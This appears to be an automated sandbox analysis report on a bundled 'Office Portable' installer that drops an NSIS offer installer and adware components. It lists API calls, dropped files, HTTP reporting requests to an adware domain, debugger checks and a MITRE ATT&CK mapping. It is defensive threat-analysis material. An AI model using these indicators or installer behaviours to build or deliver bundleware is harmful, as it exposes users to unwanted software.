Source: cf2dInstaller.exe, 00000003.00000002.504992245.00000000007DF000.00000004.00000001.sdmp, cf2dInstaller.exe, 00000003.00000003.332132064.00000000007DF000.00000004.00000001.sdmp	String found in binary or memory: http://xmlinstcp.ddbbvt.eu/cmd/report.php?PartnerId=EAZELIT&OfferId=1279&action=startedInstall&p
Source: cf2dInstaller.exe, 00000003.00000002.504707917.00000000007A2000.00000004.00000001.sdmp	String found in binary or memory: http://xmlinstcp.ddbbvt.eu/cmd/report.php?PartnerId=EAZELIT&OfferId=1279&action=startedInstall&progr
Source: instloffer.exe.3.dr	String found in binary or memory: https://www.globalsign.com/repository/0

Source: unknown

DNS traffic detected: queries for: xmlinstcp.ddbbvt.eu

Source: global traffic	HTTP traffic detected: GET /cmd/geo.php HTTP/1.1User-Agent: NSIS_ToolkitOffers (Mozilla)Host: xmlinstcp.ddbbvt.euCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cmd/api.php?action=newenduser HTTP/1.1User-Agent: NSIS_ToolkitOffers (Mozilla)Host: xmlinstcp.ddbbvt.euCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cmd/api.php?action=getofferbyweight&offer_ids=/noempty&weights=/noempty HTTP/1.1User-Agent: NSIS_ToolkitOffers (Mozilla)Host: xmlinstcp.ddbbvt.euCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cmd/report.php?PartnerId=EAZELIT&OfferId=1279&action=startedInstall&program=Office%20Portable%203.2.0%20&parameter=&origen=&of=1279%2C2421&ofSel=1279&ofNos_mi=&ofNos_ot=&ofDis_mi=&ofDis_ot= HTTP/1.1User-Agent: NSIS_ToolkitOffers (Mozilla)Host: xmlinstcp.ddbbvt.euCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cmd/api.php?action=enduser&enduser_id=<html><head><title>404%20Not%20Found</title></head><body%20bgcolor="white"><center><h1>404%20Not%20Found</h1></center><hr><center>nginx/1.14.2</center></body></html> HTTP/1.1User-Agent: NSIS_ToolkitOffers (Mozilla)Host: xmlinstcp.ddbbvt.euCache-Control: no-cache

Source: cf2dInstaller.exe, 00000003.00000002.504428459.000000000075A000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Source: C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe

Code function: 3_2_00404EE8 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

3_2_00404EE8

Source: installer_office_portable_3_2_0_Italian.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe

Code function: 3_2_004030FA EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcmpiA,CreateDirectoryA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,

3_2_004030FA

Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Code function: 0_2_000C9000	0_2_000C9000
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Code function: 0_2_000C7270	0_2_000C7270
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Code function: 0_2_000E2109	0_2_000E2109
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Code function: 0_2_000E3171	0_2_000E3171
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Code function: 0_2_000E198D	0_2_000E198D
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Code function: 0_2_000C4230	0_2_000C4230
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Code function: 0_2_000D1AFC	0_2_000D1AFC
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Code function: 0_2_000D2349	0_2_000D2349
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Code function: 0_2_000E141D	0_2_000E141D
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Code function: 0_2_000C5C50	0_2_000C5C50
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Code function: 0_2_000D14B0	0_2_000D14B0
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Code function: 0_2_000C4CD0	0_2_000C4CD0
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Code function: 0_2_000D94E2	0_2_000D94E2
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Code function: 0_2_000D0D74	0_2_000D0D74
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Code function: 0_2_000D1608	0_2_000D1608
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Code function: 0_2_000E0EAD	0_2_000E0EAD
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Code function: 0_2_000D56F7	0_2_000D56F7
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Code function: 0_2_000D1F14	0_2_000D1F14
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Code function: 0_2_000D277E	0_2_000D277E
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Code function: 0_2_000C5770	0_2_000C5770
Source: C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe	Code function: 3_2_00406128	3_2_00406128
Source: C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe	Code function: 3_2_004046F9	3_2_004046F9
Source: C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe	Code function: 3_2_004068FF	3_2_004068FF

Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe

Code function: String function: 000D3B00 appears 45 times

Source: installer_office_portable_3_2_0_Italian.exe

Static PE information: invalid certificate

Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe

File read: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe

Jump to behavior

Source: installer_office_portable_3_2_0_Italian.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe "C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe"
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Process created: C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Process created: C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\	Jump to behavior

Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe

File created: C:\Users\user\Desktop\loader64.gif

Jump to behavior

Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe

File created: C:\Users\user\AppData\Local\temp\1.txt

Jump to behavior

Source: classification engine

Classification label: mal88.winEXE@3/50@1/2

Source: C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe

Code function: 3_2_00402020 CoCreateInstance,MultiByteToWideChar,

3_2_00402020

Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe

Code function: 3_2_004041FC GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

3_2_004041FC

Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe

Code function: 0_2_000C2770 CreateToolhelp32Snapshot,Process32First,Process32Next,Process32Next,GetTopWindow,GetWindowThreadProcessId,GetWindow,GetWindowThreadProcessId,GetWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SetForegroundWindow,

0_2_000C2770

Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe

Code function: 0_2_000C12B0 FindResourceA,GetLastError,SizeofResource,LoadResource,LockResource,CreateFileA,WriteFile,FindCloseChangeNotification,FindResourceA,GetLastError,SizeofResource,LoadResource,LockResource,CreateFileA,WriteFile,FindCloseChangeNotification,LoadStringA,LoadStringA,LoadStringA,KiUserCallbackDispatcher,LoadAcceleratorsA,GetMessageA,KiUserCallbackDispatcher,TranslateMessage,DispatchMessageA,TranslateAcceleratorA,TranslateMessage,DispatchMessageA,KiUserCallbackDispatcher,

0_2_000C12B0

Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Command line argument: ELGIF	0_2_000C12B0
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Command line argument: loader64.gif	0_2_000C12B0
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Command line argument: ELICO	0_2_000C12B0
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Command line argument: icon.ico	0_2_000C12B0
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Command line argument: Installer	0_2_000C12B0
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Command line argument: INSTALLER	0_2_000C12B0

Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe

File written: C:\Users\user\AppData\Local\Temp\cf2dInstaller.INI

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: installer_office_portable_3_2_0_Italian.exe

Static file information: File size 1387312 > 1048576

Source: installer_office_portable_3_2_0_Italian.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: installer_office_portable_3_2_0_Italian.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: installer_office_portable_3_2_0_Italian.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: installer_office_portable_3_2_0_Italian.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: installer_office_portable_3_2_0_Italian.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: installer_office_portable_3_2_0_Italian.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: installer_office_portable_3_2_0_Italian.exe

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: installer_office_portable_3_2_0_Italian.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: rC:\Proyectos\desktop_apps\MainExe_Installers\Installer\Release\InstallerVittalia.pdb source: installer_office_portable_3_2_0_Italian.exe
Source:	Binary string: C:\Proyectos\desktop_apps\MainExe_Installers\Installer\Release\InstallerVittalia.pdb source: installer_office_portable_3_2_0_Italian.exe
Source:	Binary string: C:\Proyectos\desktop_apps\NSIS\NSIS DLLs\Release\ToolkitOffers.pdb source: ToolkitOffers.dll.3.dr

Source: installer_office_portable_3_2_0_Italian.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: installer_office_portable_3_2_0_Italian.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: installer_office_portable_3_2_0_Italian.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: installer_office_portable_3_2_0_Italian.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: installer_office_portable_3_2_0_Italian.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Code function: 0_2_000CCA30 push 8C000CCAh; retf 000Ch	0_2_000CCA39
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Code function: 0_2_000D3B45 push ecx; ret	0_2_000D3B58
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Code function: 0_2_000CEC56 push ecx; ret	0_2_000CEC69
Source: C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe	Code function: 3_2_10002A10 push eax; ret	3_2_10002A3E
Source: C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe	Code function: 3_2_705583EA push edx; ret	3_2_705583ED

Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe

Code function: 0_2_000DBB58 EncodePointer,EncodePointer,LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_000DBB58

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Source: C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe	File created: C:\Users\user\AppData\Local\Temp\nshFB42.tmp\nsDialogs.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe	File created: C:\Users\user\AppData\Local\Temp\nshFB42.tmp\ButtonEvent.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe	File created: C:\Users\user\AppData\Local\Temp\nshFB42.tmp\version.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe	File created: C:\Users\user\AppData\Local\Temp\instloffer.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe	File created: C:\Users\user\AppData\Local\Temp\nshFB42.tmp\nsArray.dll	Jump to dropped file
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	File created: C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe	File created: C:\Users\user\AppData\Local\Temp\nshFB42.tmp\System.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe	File created: C:\Users\user\AppData\Local\Temp\nshFB42.tmp\ToolkitOffers.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe

File created: C:\Users\user\AppData\Local\Temp\license.rtf

Jump to behavior

Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe

Code function: 0_2_000D0D74 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_000D0D74

Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe TID: 5320

Thread sleep time: -104200s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\instloffer.exe

Jump to dropped file

Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe

Window / User API: threadDelayed 1042

Jump to behavior

Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe	Code function: 3_2_00405D07 FindFirstFileA,FindClose,	3_2_00405D07
Source: C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe	Code function: 3_2_00405331 DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	3_2_00405331
Source: C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe	Code function: 3_2_0040263E FindFirstFileA,	3_2_0040263E

Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	API call chain: ExitProcess graph end node	graph_0-17480
Source: C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe	API call chain: ExitProcess graph end node	graph_3-5651
Source: C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe	API call chain: ExitProcess graph end node	graph_3-5654

Source: cf2dInstaller.exe, 00000003.00000003.268176257.00000000007D6000.00000004.00000001.sdmp, cf2dInstaller.exe, 00000003.00000003.268327439.00000000007D6000.00000004.00000001.sdmp, cf2dInstaller.exe, 00000003.00000003.268261540.00000000007D6000.00000004.00000001.sdmp, cf2dInstaller.exe, 00000003.00000003.267967554.00000000007D3000.00000004.00000001.sdmp, cf2dInstaller.exe, 00000003.00000003.332112617.00000000007C3000.00000004.00000001.sdmp, cf2dInstaller.exe, 00000003.00000002.504874778.00000000007C3000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: cf2dInstaller.exe, 00000003.00000003.332093222.00000000007A1000.00000004.00000001.sdmp, cf2dInstaller.exe, 00000003.00000002.504707917.00000000007A2000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe

Code function: 0_2_000D3307 IsDebuggerPresent,

0_2_000D3307

Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe

0_2_000DBB58

Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe

0_2_000DBB58

Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe

Code function: 0_2_000D416B GetProcessHeap,

0_2_000D416B

Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Code function: 0_2_000D0FB3 SetUnhandledExceptionFilter,		0_2_000D0FB3
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Code function: 0_2_000D0FD6 SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_000D0FD6

Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe

Process created: C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\

Jump to behavior

Source: installer_office_portable_3_2_0_Italian.exe, 00000000.00000002.504849662.00000000011B0000.00000002.00020000.sdmp, cf2dInstaller.exe, 00000003.00000002.505335481.0000000000EE0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: installer_office_portable_3_2_0_Italian.exe, 00000000.00000002.504849662.00000000011B0000.00000002.00020000.sdmp, cf2dInstaller.exe, 00000003.00000002.505335481.0000000000EE0000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: installer_office_portable_3_2_0_Italian.exe, 00000000.00000002.504849662.00000000011B0000.00000002.00020000.sdmp, cf2dInstaller.exe, 00000003.00000002.505335481.0000000000EE0000.00000002.00020000.sdmp	Binary or memory string: SProgram Managerl
Source: installer_office_portable_3_2_0_Italian.exe, 00000000.00000002.504849662.00000000011B0000.00000002.00020000.sdmp, cf2dInstaller.exe, 00000003.00000002.505335481.0000000000EE0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd,
Source: installer_office_portable_3_2_0_Italian.exe, 00000000.00000002.504849662.00000000011B0000.00000002.00020000.sdmp, cf2dInstaller.exe, 00000003.00000002.505335481.0000000000EE0000.00000002.00020000.sdmp	Binary or memory string: Progmanlock
Source: freetwittube_text.rtf.3.dr	Binary or memory string: Yontoo installs on IE, Firefox, and Chrome, and appears in each browser's extensions/add-ons manager. Browsers close to install, and Yontoo is auto-enabled at restart. Uninstall Yontoo using Add/Remove Programs or similar OS program manager.}

Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,__invoke_watson,GetLocaleInfoW,	0_2_000DE851
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Code function: _TranslateName,_TranslateName,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,	0_2_000DF09D
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	0_2_000DC9F7
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Code function: EnumSystemLocalesW,	0_2_000DEAC1
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	0_2_000DEB01
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	0_2_000DEB7E
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,InterlockedDecrement,InterlockedDecrement,_free,_free,	0_2_000DC3F3
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,	0_2_000DEC01
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Code function: GetLocaleInfoW,	0_2_000DEDF4
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeW,_memmove,_memmove,_memmove,InterlockedDecrement,_free,_free,_free,_free,_free,_free,_free,_free,_free,InterlockedDecrement,	0_2_000CF642
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Code function: EnumSystemLocalesW,	0_2_000D2EBD
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	0_2_000DBEB6
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Code function: GetLocaleInfoW,	0_2_000D2EFA
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,__invoke_watson,	0_2_000D3F0D
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Code function: _wcscmp,_wcscmp,GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_000DEF1C
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,	0_2_000DEFC9
Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,InterlockedDecrement,InterlockedDecrement,_free,_free,	0_2_000DBFEA

Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe

Code function: 0_2_000D312A cpuid

0_2_000D312A

Source: C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe

Code function: 0_2_000D6C2C GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_000D6C2C

Source: C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe

Code function: 3_2_00405A2E GetVersion,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA,

3_2_00405A2E

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Native API1	Application Shimming1	Application Shimming1	Deobfuscate/Decode Files or Information1	Input Capture1	System Time Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Ingress Tool Transfer3	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	System Shutdown/Reboot1
Default Accounts	Command and Scripting Interpreter2	Boot or Logon Initialization Scripts	Process Injection12	Obfuscated Files or Information21	LSASS Memory	File and Directory Discovery3	Remote Desktop Protocol	Input Capture1	Exfiltration Over Bluetooth	Encrypted Channel1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
